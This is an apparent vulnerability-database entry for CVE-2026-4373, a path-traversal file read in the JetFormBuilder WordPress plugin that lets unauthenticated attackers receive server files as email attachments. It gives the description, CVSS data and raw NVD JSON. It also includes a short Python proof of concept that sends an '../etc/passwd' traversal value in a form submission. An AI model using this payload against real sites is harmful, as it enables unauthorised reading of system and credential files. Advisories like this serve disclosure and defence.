Security Vulnerability Report
中文
CVE-2026-4373 CVSS 7.5 HIGH

CVE-2026-4373

Published: 2026-03-21 07:16:10
Last Modified: 2026-04-24 16:27:44

Description

The JetFormBuilder plugin for WordPress is vulnerable to arbitrary file read via path traversal in all versions up to, and including, 3.5.6.2. This is due to the 'Uploaded_File::set_from_array' method accepting user-supplied file paths from the Media Field preset JSON payload without validating that the path belongs to the WordPress uploads directory. Combined with an insufficient same-file check in 'File_Tools::is_same_file' that only compares basenames, this makes it possible for unauthenticated attackers to exfiltrate arbitrary local files as email attachments by submitting a crafted form request when the form is configured with a Media Field and a Send Email action with file attachment.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

JetFormBuilder <= 3.5.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Payload exploiting path traversal via Media Field # The vulnerable parameter allows specifying a file path directly payload = { "action": "jet_form_builder_form_submit", "form_data": { "media_field": { "path": "../../../../../../etc/passwd" # Path traversal to read sensitive files } }, "form_id": "1" # Example Form ID } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Request sent successfully. Check email for the file attachment.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4373", "sourceIdentifier": "[email protected]", "published": "2026-03-21T07:16:10.380", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The JetFormBuilder plugin for WordPress is vulnerable to arbitrary file read via path traversal in all versions up to, and including, 3.5.6.2. This is due to the 'Uploaded_File::set_from_array' method accepting user-supplied file paths from the Media Field preset JSON payload without validating that the path belongs to the WordPress uploads directory. Combined with an insufficient same-file check in 'File_Tools::is_same_file' that only compares basenames, this makes it possible for unauthenticated attackers to exfiltrate arbitrary local files as email attachments by submitting a crafted form request when the form is configured with a Media Field and a Send Email action with file attachment."}, {"lang": "es", "value": "El plugin JetFormBuilder para WordPress es vulnerable a la lectura arbitraria de archivos a través de salto de ruta en todas las versiones hasta la 3.5.6.2, inclusive. Esto se debe a que el método 'Uploaded_File::set_from_array' acepta rutas de archivo proporcionadas por el usuario desde la carga útil JSON preestablecida del campo de medios sin validar que la ruta pertenezca al directorio de subidas de WordPress. Combinado con una verificación insuficiente de mismo archivo en 'File_Tools::is_same_file' que solo compara nombres base, esto hace posible que atacantes no autenticados exfiltren archivos locales arbitrarios como adjuntos de correo electrónico al enviar una solicitud de formulario manipulada cuando el formulario está configurado con un campo de medios y una acción de envío de correo electrónico con adjunto de archivo."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-36"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/jetformbuilder/tags/3.5.6.2/includes/classes/resources/uploaded-file.php#L99", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/jetformbuilder/tags/3.5.6.2/modules/actions-v2/send-email/send-email-action.php#L214", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/jetformbuilder/tags/3.5.6.2/modules/block-parsers/file-uploader.php#L313", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3486996/jetformbuilder", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1801fd3e-d56f-4540-9700-9e9de8b465e1?source=cve", "source": "[email protected]"}]}}